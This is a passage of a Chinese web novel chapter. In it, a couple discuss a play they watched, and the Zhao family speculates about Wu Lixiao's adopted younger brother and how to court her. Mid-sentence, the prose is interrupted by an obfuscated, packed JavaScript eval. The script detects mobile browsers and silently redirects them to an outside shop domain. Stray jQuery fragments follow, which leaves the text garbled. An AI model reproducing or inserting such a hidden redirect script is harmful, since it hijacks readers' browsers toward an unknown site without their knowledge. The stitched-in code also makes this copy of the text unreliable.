二人看的话剧是《蒋公的面子》。武厉枭一进剧场就觉得气氛不对,苏晏清看到她的神情不觉也紧张起来,“姐姐,怎么,有犯罪嫌疑人吗?”
“不是,宝宝你看,满场没有老年人,没有小孩子,只有一群年轻人,个个手里拿着印刷资料。完蛋了,这部剧肯定不好看!”
“嗯?为啥这么说呢?”
“上次咱俩看的莫言的《鳄鱼》,你觉得怎么样?”
“通俗易懂,风趣幽默,凡有井水处,皆可歌柳词。”
“上次那场话剧,是不是来了很多的老人和小孩?”
苏晏清点点头。
“你看这场剧,没有老人小孩,说明剧情并不大众化。这么多年轻人,还带着纸质文本,说明台词艰涩难懂。我敢肯定,他们是附近几所大学的学生,来完成专业课作业的。他们的专业离不开:中文、历史、政治,可能还包括哲学。宝宝你要是不信,大可以拦住几个人问问。”
苏晏清玩心一起,便四处打探起来,果然和武厉枭说得一模一样,来看话剧全是附近几个大学社会科学专业的学生:汉语言文学专业、中国史专业、思想政治专业、马克思主义哲学专业。个个跃跃欲试道,“都说看《蒋公的面子》不笑的人是专业课不及格。我们今天完不完成作业两说,笑是必须得笑。”
演出开始了,现场果然笑声连连,连苏晏清这种笑点颇高的清冷系那一挂的都笑了好几次,武厉枭却皱着眉头莫名其妙。终于忍耐到了散场,她拉了拉苏晏清,“宝宝,你听懂了那三个演员说什么了吗?”
“他们说的都是《诗经》、《论语》、《楚辞》里的典故,还有黑格尔的相对论,辩证法,以及费尔巴哈的三驾马车理论。”
“妈呀,你怎么知道得这么多?”
“姐姐你忘了,我是文科生啊,这些是高考的看家本领。”
“哦,”武厉枭懊丧地挠挠脑袋,“看来是我胸无点墨。”
“没有没有,”苏晏清搂住武厉枭的肩膀,“其实,这部话剧虽然名气不小,但演出受众面并不广。其实作为编剧,写出这么晦涩难懂的作品,满满的掉书袋,正是自己驾驭文字水平不高的体现。”
“唉……我怎么连个话剧都看得吃力,我怎么这么笨啊?”
“你不笨,是这个话剧不适合你看。”苏晏清耐心地劝慰她,“姐姐,我听说过几天有《大侦探赵赶鹅》,是全景沉浸式话剧,没有固定舞台的,观众们坐在公安局里,网吧里,小卖店里……特别适合打卡拍照。我们再来看,好吗?我保证给你拍出美美的照片。”
“嗯,”武厉枭的情绪这才好转一点,她攀着苏晏清的手臂,把头靠上去,悠悠地说:“宝宝,没有你在,我可怎么办呀?”
“别担心,我一直都在。”苏晏清笑道,“我就是你的ai,给你提供满满的情绪价值。”
赵新民在将桑学勤的所有赔偿金交给辛父辛母后,又从个人积蓄里拿出了两万块钱送给两位老人,“二老要是不嫌弃,就收我做个干儿子,以后家里的大事小情,吱一声,我马上过来。”
赵母看着赵新民终日闷闷不乐的样子,打心里心疼,“小民啊,日子还得往前过。”她想了想又按捺不住兴奋起来,“你最近不是和小武姑娘又联系上了吗?案子结束了,小武姑娘替学勤报了仇,你得感谢人家呀!请小武姑娘吃饭呀!”
“哎呦妈呀,你怎么又提这个呀。我不是跟你说了吗?我和厉枭没戏。”
“有戏没戏,不得处处吗?是,她有个弟,这也不受啥影响呀!我和你爸处对象的时候,你老舅就跟小武姑娘的弟弟差不多大。你爸和你舅处得跟亲哥俩似的。”
“问题是我和厉枭三次见面她弟都在场。而且,妈,厉枭已经给她弟买车了,五十多万的丰田普拉多,这还不够说明问题吗?”
“啥问题?你爸都打听过了,武老爷子说是孙女孝敬他的,说送他去体检啥的方便。”
“我的母亲大人啊,你怎么还能信这个呢?”赵新民苦笑道,“你想啊,武家那门第,那大宅院,住进了个长得那么好看的大男孩,才几个月啊,就给买车了!说是养子,谁家收养已经成年的孩子呀,根本就上不了户口呀。你说能是啥关系?”
“啥关系?”
赵新雪“噗嗤”一声笑了,“妈,我老弟是想说……那小奶狗搞不好就是武家给摄政王娶进门的童养姑爷!哈哈哈……”
“呸呸呸!”赵母斥道,“死丫头片子胡说八道!现在这年头,哪有童养姑爷这么一说?”
赵父也皱眉道,“小雪,爸爸平时就跟你说,少看那些乱七八糟的短剧,没事多读读书,受受教育。你看爸爸,这几天跟着武老爷子学习家训,颇有心得。武家的慈悲大度,和睦敦亲,真是精神的瑰宝,道德的典范呀!所以,你说武家娶童养姑爷的事,爸爸坚决持否定意见。”
“那爸你说说,你有什么高见?”
赵父难得有女儿请教他的时候,也得意不已地摇头晃脑道,“你们年轻人啊,看问题只能看到三尺远。我们上了岁数的人,才是带着战略眼光看事。武家那门第,武老爷子那为人,怎么可能随便收养一个孩子?我那天看到了武家货架上有几款眼生的点心,就问武老爷子:您是又研究出新品了?武老爷子说:我孙子晏清研究出来的。这孩子手可巧了,连枣花馍都会做。我又说:这孩子的父母呢?武老爷子说:早就不在人世了,是个孤儿,跟我儿媳妇娘家从小就认识,换句话说:从小在枭枭她外婆家长大的。后来我们找到了他,就收养了这孩子。这孩子啊,刚来的时候身子骨特别弱,现在好多了,能干活,聪明,肯吃苦……”
赵新雪没头没脑地听着,“这说明啥呀?”
“说明那孩子在武家的身份,就是地位高一些的学徒而已!小民你想啊,他还给荣宝斋修压面机,研制新品
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849736|211799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,给小武姑娘准备夜宵。武家又不是没仆人,如果真是姑爷的身份,何必做这些?武家是看在小武妈妈娘家那边的面子,给他口饭吃。加上他恰好会点做糕饼的手艺,武老爷子一高兴,认了个干孙子。武家那么老派的讲究人家,认了个干亲得给点见面礼,就送了辆车。”
“那见面礼为啥送车呀?一辆丰田普拉多,五十多万呢!”
“小民呀,你这孩子是不是读书读傻了?五十多万,在爸爸妈妈这样的工薪阶层,的确是个大数目。但在武家,不过是个小钱而已。你知道武家多有钱吗?就荣宝斋这三个字,就跟美国那可口可乐似的,就是专利,就是金字招牌。爸爸派老同事打听了,小武姑娘在市局是出了名的自费上班,工资全贴给队员了。为啥?家里条件好。小武姑娘就算不能拿公司的股份和分红,父母给她的零花钱就够多了。一辆五十万的丰田而已,在人家眼里,就跟小雪做个指甲似的。”
“那也不行。”赵新民嘟嘟囔囔道,“厉枭对她弟那么好,我看着不舒服。如果以后我真跟她好上了,中间夹个她弟,这日子咋过。爸,妈,你们都不知道厉枭对她弟多肉麻,十九岁的大小伙子,比厉枭高出快两个头了,厉枭还宝宝长宝宝短地叫。”
赵母笑得一指赵新民的头,“这傻孩子,你也太不了解女孩子了。厉枭一个大姑娘家,没男朋友,不过就是拿她那弟弟当个洋娃娃似的解解闷。等你跟她成了,她自然一心扑在你身上了,就没空搭理她弟了。”
一番话说得赵新民心思又活跃起来,“真的?”
“当然是真的了。”赵母摸了摸赵新民的头,“你想啊,那孩子是武家养子,武老爷子那么老派的人,那么要面子,他能允许在他眼皮子底下,发生那种姐弟不清不楚的事吗?你就算不信那孩子,也该信武老爷子。”
赵新民想了想,恍然大悟道,“对,妈,就是这么回事。武老爷子那么严肃正派的人,如果那孩子有非分之想,非把他撵出去不可。厉枭心眼那么好,不过就是可怜他而已。”
“对对对!开窍啦开窍啦!”赵母欣慰道,“你别看那孩子表面上整天围着姐姐转,他不敢有啥想法的。好儿子,能给小武幸福了,只有你。”
“那……我……要不要送个礼物给厉枭?”
赵新雪笑道,“要!今天是大年二十九,你上次不是说想把痔疮割下来送给厉枭吗?快去吧。”
“呸呸呸!”赵母瞪了赵新雪一眼,“小雪你别捣乱!让我想想……送礼物……得体现出小民的优势……对了小民,你会做饭,前几天你炖的板栗红烧肉那么好吃,你炖一锅板栗红烧肉给厉枭送去,她一准高兴。还有,我们单位刚给老干部们一人发了一套羊绒毛毯,一只保温杯,我都没舍得用呢,也给小武姑娘送去。她在单位里喝水的时候,就能想起是你送的,就会喜欢你了。”
赵新民点点头,“那……我就炖肉,给厉枭送到荣宝斋去。”